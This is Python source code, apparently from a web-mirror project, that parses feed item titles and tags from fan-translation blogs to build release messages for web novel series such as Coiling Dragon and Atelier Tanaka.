	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "The Inverted Dragon's Scale" in item['tags']:
		return buildReleaseMessage(item, "The Inverted Dragon's Scale", vol, chp, frag=frag, postfix=postfix)
	return False

def extractSETSUNA86BLOG(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTryTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False



def extractTrinityArchive(item):
	'''
	# 'Trinity Archive'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Summoned Slaughterer' in item['tags']:
		return buildReleaseMessage(item, 'Summoned Slaughterer', vol, chp, frag=frag, postfix=postfix)
	return False

def extractPielordTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTwelveMonthsofMay(item):
	'''
	# 'Twelve Months of May'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'My Mister Ostrich' in item['tags']:
		return buildReleaseMessage(item, 'Wo De Tuo Niao Xian Sheng', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("Ostrich Chapter"):
		return buildReleaseMessage(item, 'Wo De Tuo Niao Xian Sheng', vol, chp, frag=frag, postfix=postfix)
	return False

def extractUkel2x(item):
	'''
	#'Ukel2x
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().startswith('volume'):
		return buildReleaseMessage(item, 'Kokugensou wo Item Cheat de Ikinuku', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('dungeon kurashi no moto yuusha chapter'):
		return buildReleaseMessage(item, 'Dungeon Kurashi No Moto Yuusha', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('munivit anima chapter'):
		return buildReleaseMessage(item, 'Munivit Anima', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False


def extractRootOfEvil(item):
	'''
	# 'Root of Evil'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractStellarTransformationCon(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractUnnamedtranslations(item):
	'''
	# 'unnamedtranslations.blogspot.com'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTusTrans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTumbleIntoFantasy(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractQualiTeaTranslations(item):
	'''
	# 'QualiTeaTranslations'
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Harry Potter and the Rise of the Ordinary Person' in item['tags']:
		return None

	if 'Romance of Dragons and Snakes' in item['tags']:
		return buildReleaseMessage(item, 'Romance of Dragons and Snakes', vol, chp, frag=frag, postfix=postfix)
	return False


####################################################################################################################################################
#
####################################################################################################################################################

def extractSolstar24(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'jin xiu wei yang' in item['tags']:
		return buildReleaseMessage(item, 'Jin Xiu Wei Yang', vol, chp, frag=frag, postfix=postfix)
	if 'dao qing' in item['tags']:
		return buildReleaseMessage(item, 'Dao Qing', vol, chp, frag=frag, postfix=postfix)
	return False

def extractSloth(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractUnlimitedNovelFailures(item):
	'''
	# 'Unlimited Novel Failures'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRinkageTranslation(item):
	'''
	'Rinkage Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Netooku Otoko no Tanoshii Isekai Boueki' in item['tags']:
		return buildReleaseMessage(item, 'Netooku Otoko no Tanoshii Isekai Boueki', vol, chp, frag=frag, postfix=postfix)
	if 'Atelier Tanaka' in item['tags']:
		return buildReleaseMessage(item, 'Atelier Tanaka', vol, chp, frag=frag, postfix=postfix)
	if 'Din No Monshou' in item['tags']:
		return buildReleaseMessage(item, 'Din No Monshou', vol, chp, frag=frag, postfix=postfix)
	if 'Netooku Otoko' in item['tags']:
		return buildReleaseMessage(item, 'Netooku Otoko no Tanoshii Isekai Boueki', vol, chp, frag=frag, postfix=postfix)
	if 'Yuusha Party' in item['tags']:
		return buildReleaseMessage(item, 'Yuusha Party ni Kawaii Ko ga Ita node, Kokuhaku Shitemita.', vol, chp, frag=frag, postfix=postfix)
	return False
def extractSelkinNovel(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractStartlingSurprisesAtEveryStep(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'bu bu jing xin' in item['tags']:
		return buildReleaseMessage(item, 'Bu Bu Jing Xin', vol, chp, frag=frag, postfix=postfix)
	return False


def extractPathOfTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "Emperor's Domination" in item['tags']:
		return buildReleaseMessage(item, "Emperor's Domination", vol, chp, frag=frag, postfix=postfix)
	if 'Big Life' in item['tags']:
		return buildReleaseMessage(item, 'Big Life', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Game Market 1983'):
		return buildReleaseMessage(item, 'Game Market 1983', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Spirit Vessel'):
		return buildReleaseMessage(item, 'Spirit Vessel', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Instant Kill'):
		return buildReleaseMessage(item, 'Instant Kill', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('My Daoist Life'):
		return buildReleaseMessage(item, 'My Daoist Life', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Tales of the Reincarnated Lord'):
		return buildReleaseMessage(item, 'Tales of the Reincarnated Lord', vol, chp, frag=frag, postfix=postfix)
	return False
def extractReincarnationTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSakurane(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "Reincarnated as a Dragon's Egg" in item['tags']:
		return buildReleaseMessage(item, "Reincarnated as a dragon's egg ～Lets aim to be the strongest～", vol, chp, frag=frag, postfix=postfix)
	return False
def extractSoulPermutation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Elf-San with Master' in item['tags']:
		return buildReleaseMessage(item, 'Elf-San with Master', vol, chp, frag=frag, postfix=postfix)
	if 'Levelmaker' in item['tags']:
		return buildReleaseMessage(item, 'Levelmaker', vol, chp, frag=frag, postfix=postfix)
	return False
def extractToriiTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractTheUndyingCultivator(item):
	'''

	'''
	volstr = str(item['tags']).lower().replace("arc ", "volume ")
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(volstr+item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None


	extract = re.search(r'\W(\d+)\.(\d+)\W', item['title'])
	if extract:
		chp = float(extract.group(1))
		frag = float(extract.group(2))

	if 'The Undying Cultivator' in item['tags']:
		return buildReleaseMessage(item, 'The Undying Cultivator', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


	return False

def extractPenguTaichou(item):
	"""
	Pengu Taichou
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractPolarBearCatcher(item):
	"""
	Polar Bear Catcher
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractPoorQualityTranslations(item):
	"""
	Poor Quality Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractPumlated(item):
	"""
	Pumlated
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower() or "incomplete" in item['title'].lower():
		return None
	if "(Um, Sorry!) I've been Reincarnated!" in item['tags']:
		return buildReleaseMessage(item, "(Um, Sorry!) I've been Reincarnated!", vol, chp, frag=frag, postfix=postfix)
	return False
def extractRainbowTurtleTranslations(item):
	"""
	Rainbow Turtle Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'LMS' in item['tags']:
		return buildReleaseMessage(item, 'Legendary Moonlight Sculptor', vol, chp, frag=frag, postfix=postfix)
	if 'dungeon hunter' in item['tags']:
		return buildReleaseMessage(item, 'Dungeon Hunter', vol, chp, frag=frag, postfix=postfix)
	if 'DKG' in item['tags']:
		return buildReleaseMessage(item, 'The Demon King\'s Game', vol, chp, frag=frag, postfix=postfix)
	return False
def extractRiesTranslations(item):
	"""
	Ries Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractRinveltHouse(item):
	"""
	Rinvelt House
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractRogueApple(item):
	"""
	Rogue Apple
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractRottenTranslations(item):
	"""
	Rotten Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSabishiDesu(item):
	"""
	sabishidesu.tk
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSekainoKuroba(item):
	"""
	Sekai no Kuroba
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractShalvationTranslations(item):
	"""
	Shalvation Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Dungeon Defense' in item['tags']:
		return buildReleaseMessage(item, 'Dungeon Defense', vol, chp, frag=frag, postfix=postfix)
	return False
def extractShamelessOniisan(item):
	"""
	Shameless Onii-san
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractShineTranslation(item):
	"""
	Shine Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('Invincible Level up '):
		return buildReleaseMessage(item, 'Invincible Level Up', vol, chp, frag=frag, postfix=postfix)
	return False
def extractShouldntbehereblog(item):
	"""
	Shouldnt be here blog
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractShovaTranslations(item):
	"""
	Shova Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSilkpantsEntente(item):
	"""
	Silkpants Entente
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSnowTimeTranslations(item):
	"""
	SnowTime Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractSteadyTranslation(item):
	"""
	Steady Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'In Different World With Naruto System' in item['tags']:
		return buildReleaseMessage(item, 'In Different World With Naruto System', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False
def extractSunnyTranslations(item):
	"""
	SunnyTranslations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractTandQ(item):
	"""
	T&Q
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if '#Les Interpretes' in item['tags']:
		return buildReleaseMessage(item, 'Les Interpretes', vol, chp, frag=frag, postfix=postfix)
	if '致我们终将逝去的青春' in item['tags']:
		return buildReleaseMessage(item, 'To Our Youth That is Fading Away', vol, chp, frag=frag, postfix=postfix)
	return False
def extractTequilaMockingbard(item):
	"""
	Tequila Mockingbard
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractTheBoyWhoCouldntBeAHero(item):
	"""
	The Boy Who Couldn\'t Be A Hero
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractThePaperFictions(item):
	"""
	thepaperfictions.wordpress.com
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractTokyoESPScans(item):
	"""
	Tokyo ESP Scans
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractUniqueBooks(item):
	"""
	Unique Books
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False







# pylint: disable=C0112,R0911,R0912,W0612

from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVolFragment
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import re

####################################################################################################################################################
def extractYoraikun(item):
	'''
	# Yoraikun
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Rise of the Shield Hero' in item['tags']:
		return buildReleaseMessage(item, 'The Rise of the Shield Hero', vol, chp, frag=frag, postfix=postfix)
	elif 'Konjiki no Wordmaster' in item['tags']:
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)
	elif 'IKCTAWBWTWH' in item['tags']:
		return buildReleaseMessage(item, 'I Kinda Came to Another World, But Where\'s the Way Home', vol, chp, frag=frag, postfix=postfix)
	elif 'Sevens' in item['tags']:
		return buildReleaseMessage(item, 'Sevens', vol, chp, frag=frag, postfix=postfix)
	elif 'The Lazy King' in item['tags']:
		return buildReleaseMessage(item, 'The Lazy King', vol, chp, frag=frag, postfix=postfix)

	return False



####################################################################################################################################################
def extractWuxiaworld(item):
	'''
	# Wuxiaworld

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol or frag):
		return False
	if 'Announcements' in item['tags']:
		return False

	if 'CD Chapter Release' in item['tags'] or 'Coiling Dragon' in item['tags']:
		return buildReleaseMessage(item, "Coiling Dragon", vol, chp, frag=frag)
	if 'dragon king with seven stars' in item['tags'] or 'Dragon King with Seven Stars' in item['title']:
		return buildReleaseMessage(item, "Dragon King with Seven Stars", vol, chp, frag=frag)
	if 'ISSTH Chapter Release' in item['tags'] or 'I Shall Seal the Heavens' in item['tags']:
		return buildReleaseMessage(item, "I Shall Seal the Heavens", vol, chp, frag=frag)
	if 'BTTH Chapter Release' in item['tags'] or 'BTTH Chapter' in item['title'] or 'Battle Through the Heavens' in item['tags']:
		return buildReleaseMessage(item, "Battle Through the Heavens", vol, chp, frag=frag)
	if 'SL Chapter Release' in item['tags'] or 'SA Chapter Release' in item['tags'] or 'Skyfire Avenue' in item['tags']:
		return buildReleaseMessage(item, "Skyfire Avenue", vol, chp, frag=frag)
	if 'MGA Chapter Release' in item['tags'] or 'Martial God Asura' in item['tags']:
		return buildReleaseMessage(item, "Martial God Asura", vol, chp, frag=frag)
	if 'ATG Chapter Release' in item['tags'] or 'Against the Gods' in item['tags']:
		return buildReleaseMessage(item, "Ni Tian Xie Shen", vol, chp, frag=frag)
	if 'ST Chapter Release' in item['tags']:
		return buildReleaseMessage(item, "Xingchenbian", vol, chp, frag=frag)
	if 'HJC Chapter Release' in item['tags'] or 'Heavenly Jewel Change' in item['tags']:
		return buildReleaseMessage(item, "Heavenly Jewel Change", vol, chp, frag=frag)
	if 'Child of Light' in item['tags'] or 'COL Chapter Release' in item['tags']:
		return buildReleaseMessage(item, 'Child of Light', vol, chp, frag=frag)
	if 'TDG Chapter Release' in item['tags'] or 'Tales of Demons & Gods' in item['tags']:
		return buildReleaseMessage(item, 'Tales of Demons & Gods', vol, chp, frag=frag)
	if 'TGR Chapter Release' in item['tags'] or 'The Great Ruler' in item['tags']:
		return buildReleaseMessage(item, 'The Great Ruler', vol, chp, frag=frag)
	if 'DE Chapter Release' in item['tags'] or 'Desolate Era' in item['tags']:
		return buildReleaseMessage(item, 'Desolate Era', vol, chp, frag=frag)
	if 'Wu Dong Qian Kun' in item['tags']:
		return buildReleaseMessage(item, 'Wu Dong Qian Kun', vol, chp, frag=frag)
	if 'Perfect World' in item['tags']:
		return buildReleaseMessage(item, 'Perfect World', vol, chp, frag=frag)
	if 'Gate of Revelation' in item['tags']:
		return buildReleaseMessage(item, 'The Gate of Revelation', vol, chp, frag=frag)
	if 'Upgrade Specialist in Another World' in item['tags']:
		return buildReleaseMessage(item, 'Upgrade Specialist in Another World', vol, chp, frag=frag)
	if 'Renegade Immortal' in item['tags']:
		return buildReleaseMessage(item, 'Renegade Immortal', vol, chp, frag=frag)
	if 'Sovereign of the Three Realms' in item['tags']:
		return buildReleaseMessage(item, 'Sovereign of the Three Realms', vol, chp, frag=frag)
	if 'Terror Infinity' in item['tags']:
		return buildReleaseMessage(item, 'Terror Infinity', vol, chp, frag=frag)
	if 'Warlock of the Magus World' in item['tags']:
		return buildReleaseMessage(item, 'Warlock of the Magus World', vol, chp, frag=frag)
	if 'Spirit Realm' in item['tags']:
		return buildReleaseMessage(item, 'Spirit Realm', vol, chp, frag=frag)

	return False




####################################################################################################################################################
def extractZiruTranslations(item):
	'''
	# Ziru's Musings | Translations~

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Dragon Bloodline' in item['tags'] or 'Dragon’s Bloodline — Chapter ' in item['title']:
		return buildReleaseMessage(item, 'Dragon Bloodline', vol, chp, frag=frag)
	if 'Lazy Dungeon Master' in item['tags'] or 'Lazy Dungeon Master ' in item['title']:
		return buildReleaseMessage(item, 'Lazy Dungeon Master', vol, chp, frag=frag)
	if 'Happy Peach' in item['tags'] or 'Happy Peach ' in item['title']:
		return buildReleaseMessage(item, 'Happy Peach', vol, chp, frag=frag)
	if "The Guild's Cheat Receptionist" in item['tags']:
		return buildReleaseMessage(item, "The Guild's Cheat Receptionist", vol, chp, frag=frag)
	if 'Suterareta Yuusha no Eiyuutan' in item['tags']:
		return buildReleaseMessage(item, 'Suterareta Yuusha no Eiyuutan', vol, chp, frag=frag)
	if 'The Restart' in item['tags']:
		return buildReleaseMessage(item, 'The Restart', vol, chp, frag=frag, tl_type='oel')

	# Wow, the tags must be hand typed. soooo many typos
	if 'Suterareta Yuusha no Eiyuutan' in item['tags'] or \
		'Suterareta Yuusha no Eyuutan' in item['tags'] or \
		'Suterurareta Yuusha no Eiyuutan' in item['tags']:

		extract = re.search(r'Suterareta Yuusha no Ei?yuutan \((\d+)\-(.+?)\)', item['title'])
		if extract:
			vol = int(extract.group(1))
			try:
				chp = int(extract.group(2))
				postfix = ''
			except ValueError:
				chp = None
				postfix = extract.group(2)
			return buildReleaseMessage(item, 'Suterareta Yuusha no Eiyuutan', vol, chp, postfix=postfix)
	return False



####################################################################################################################################################
def extractVoidTranslations(item):
	'''
	# Void Translations

	'''
	chp, vol, dummy_frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	match = re.search(r'^Xian Ni Chapter \d+ ?[\-–]? ?(.*)$', item['title'])
	if match:
		return buildReleaseMessage(item, 'Xian Ni', vol, chp, postfix=match.group(1))

	return False




def extractXCrossJ(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Character Analysis' in item['title']:
		return False

	if 'Cross Gun' in item['tags']:
		return buildReleaseMessage(item, 'Cross Gun', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	if 'Konjiki no Moji Tsukai' in item['title']:
		postfix = item['title'].split(":", 1)[-1].strip()
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)
	if 'Shinwa Densetsu no Eiyuu no Isekaitan' in item['tags']:
		return buildReleaseMessage(item, 'Shinwa Densetsu no Eiyuu no Isekaitan', vol, chp, frag=frag, postfix=postfix)
	if 'Isekai Mahou wa Okureteru' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Mahou wa Okureteru', vol, chp, frag=frag, postfix=postfix)
	if  'Nidome no Jinsei wo Isekai de' in item['tags']:
		return buildReleaseMessage(item,  'Nidome no Jinsei wo Isekai de', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractWuxiaTranslations(item):
	'''
	# Wuxia Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	releases = [
		'A Martial Odyssey',
		'Law of the Devil',
		'Tensei Shitara Slime Datta Ken',
		'The Nine Cauldrons',
		'Sovereign of the Three Realms',
	]
	for name in releases:
		if name in item['title'] and (chp or vol):
			return buildReleaseMessage(item, name, vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extract1HP(item):
	'''
	# 1HP

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Route to almightyness from 1HP' in item['title'] and (chp or vol):
		return buildReleaseMessage(item, 'HP1 kara Hajimeru Isekai Musou', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractWatermelons(item):
	'''
	# World of Watermelons

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	matches = re.search(r'\bB(\d+)C(\d+)\b', item['title'])
	if 'The Desolate Era' in item['tags'] and matches:
		vol, chp = matches.groups()
		postfix = ""
		if "–" in item['title']:
			postfix = item['title'].split("–", 1)[-1]

		return buildReleaseMessage(item, 'Mang Huang Ji', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractWCCTranslation(item):
	'''
	# WCC Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if "chapter" in item['title'].lower():
		if ":" in item['title']:
			postfix = item['title'].split(":", 1)[-1]
		return buildReleaseMessage(item, 'World Customize Creator', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
# 'yukkuri-literature-service'
####################################################################################################################################################
def extractYukkuri(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if '10 nen goshi no HikiNEET o Yamete Gaishutsushitara Jitaku goto Isekai ni Ten’ishiteta' in item['tags'] or \
		 'When I was going out from my house to stop become a Hiki-NEET after 10 years I was transported to another world' in item['tags']:
		return buildReleaseMessage(item, '10 nen goshi no HikiNEET o Yamete Gaishutsushitara Jitaku goto Isekai ni Ten’ishiteta', vol, chp, frag=frag, postfix=postfix)
	elif 'Takarakuji de 40 Oku Atattanda kedo Isekai ni Ijuusuru' in item['tags'] or \
		'Takarakuji de 40 Oku Atattanda kedo Isekai ni Ijuusuru.' in item['title']:
		return buildReleaseMessage(item, 'Takarakuji de 40 Oku Atattanda kedo Isekai ni Ijuusuru', vol, chp, frag=frag, postfix=postfix)
	elif 'Tenseisha wa Cheat o Nozomanai' in item['tags']:
		return buildReleaseMessage(item, 'Tenseisha wa Cheat o Nozomanai', vol, chp, frag=frag, postfix=postfix)
	elif 'Genjitsushugisha no Oukoku Kaizouki' in item['tags'] or item['title'].startswith("Genjitsushugisha no Oukoku Kaizouki"):
		return buildReleaseMessage(item, 'Genjitsushugisha no Oukoku Kaizouki', vol, chp, frag=frag, postfix=postfix)
	elif 'I Won 4 Billion in a Lottery But I Went to Another World' in item['tags']:
		return buildReleaseMessage(item, 'Takarakuji de 40 Oku Atattanda kedo Isekai ni Ijuusuru', vol, chp, frag=frag, postfix=postfix)
	elif  'The Curious Girl and The Traveler' in item['tags']:
		return buildReleaseMessage(item,  'The Curious Girl and The Traveler', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	elif  'Yukkuri Oniisan' in item['tags']:
		return buildReleaseMessage(item,  'Yukkuri Oniisan', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	elif  'The Valtras Myth' in item['tags']:
		return buildReleaseMessage(item,  'The Valtras Myth', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False


####################################################################################################################################################
#
####################################################################################################################################################
def extract87Percent(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Return of the former hero' in item['tags']:
		return buildReleaseMessage(item, 'Return of the Former Hero', vol, chp, frag=frag, postfix=postfix)
	if 'Dragon egg' in item['tags']:
		return buildReleaseMessage(item, 'Reincarnated as a dragon’s egg ～Lets aim to be the strongest～', vol, chp, frag=frag, postfix=postfix)

	if 'Summoning at random' in item['tags']:
		return buildReleaseMessage(item, 'Summoning at Random', vol, chp, frag=frag, postfix=postfix)

	if 'Legend' in item['tags']:
		return buildReleaseMessage(item, 'レジェンド', vol, chp, frag=frag, postfix=postfix)

	if 'Death game' in item['tags']:
		return buildReleaseMessage(item, 'The world is fun as it has become a death game', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWuxiaSociety(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'The Heaven Sword and Dragon Sabre' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'The Heaven Sword and Dragon Sabre', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractWuxiaHeroes(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Nine Cauldrons' in item['tags']:
		return buildReleaseMessage(item, 'The Nine Cauldrons', vol, chp, frag=frag, postfix=postfix)
	if 'Conquest' in item['tags']:
		return buildReleaseMessage(item, 'Conquest', vol, chp, frag=frag, postfix=postfix)
	if 'Blood Hourglass' in item['title']:
		return buildReleaseMessage(item, 'Blood Hourglass', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractYoujinsite(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if '[God & Devil World]' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Shenmo Xitong', vol, chp, frag=frag, postfix=postfix)

